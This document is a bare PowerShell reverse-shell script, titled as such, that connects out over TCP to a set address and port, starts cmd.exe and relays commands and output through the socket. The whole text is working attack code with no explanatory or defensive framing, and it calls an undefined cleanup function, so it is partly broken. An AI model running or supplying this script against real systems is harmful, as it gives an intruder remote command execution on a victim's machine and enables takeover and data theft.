Powershell Reverse Shell

function ReverseShellClean {if ($client.Connected -eq $true) {$client.Close()};if ($process.ExitCode -ne $null) {$process.Close()};  exit; }  $address = '127.0.0.1';  $port = '12345';  $client = New-Object system.net.sockets.tcpclient;   $client.connect($address,$port) ;  $stream = $client.GetStream();  $networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize  ;  $process = New-Object System.Diagnostics.Process  ;  $process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'  ;  $process.StartInfo.RedirectStandardInput = 1  ;  $process.StartInfo.RedirectStandardOutput = 1;  $process.StartInfo.UseShellExecute = 0  ;  $process.Start()  ;  $inputstream = $process.StandardInput  ;  $outputstream = $process.StandardOutput  ;  Start-Sleep 1  ;  $encoding = new-object System.Text.AsciiEncoding  ;  while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())};  $stream.Write($encoding.GetBytes($out),0,$out.Length)  ;  $out = $null; $done = $false; $testing = 0;   while (-not $done) {if ($client.Connected -ne $true) {cleanup}  ;  $pos = 0;   $i = 1;    while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos);    $pos+=$read;  if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}  ;  if ($pos -gt 0){ $string = $encoding.GetString($networkbuffer,0,$pos);   $inputstream.write($string);    start-sleep 1;    if ($process.ExitCode -ne $null) {ReverseShellClean};  else {  $out = $encoding.GetString($outputstream.Read());   while($outputstream.Peek() -ne -1){;   $out += $encoding.GetString($outputstream.Read());   if ($out -eq $string) {$out = ''}};    $stream.Write($encoding.GetBytes($out),0,$out.length);    $out = $null;    $string = $null};  } else {ReverseShellClean}};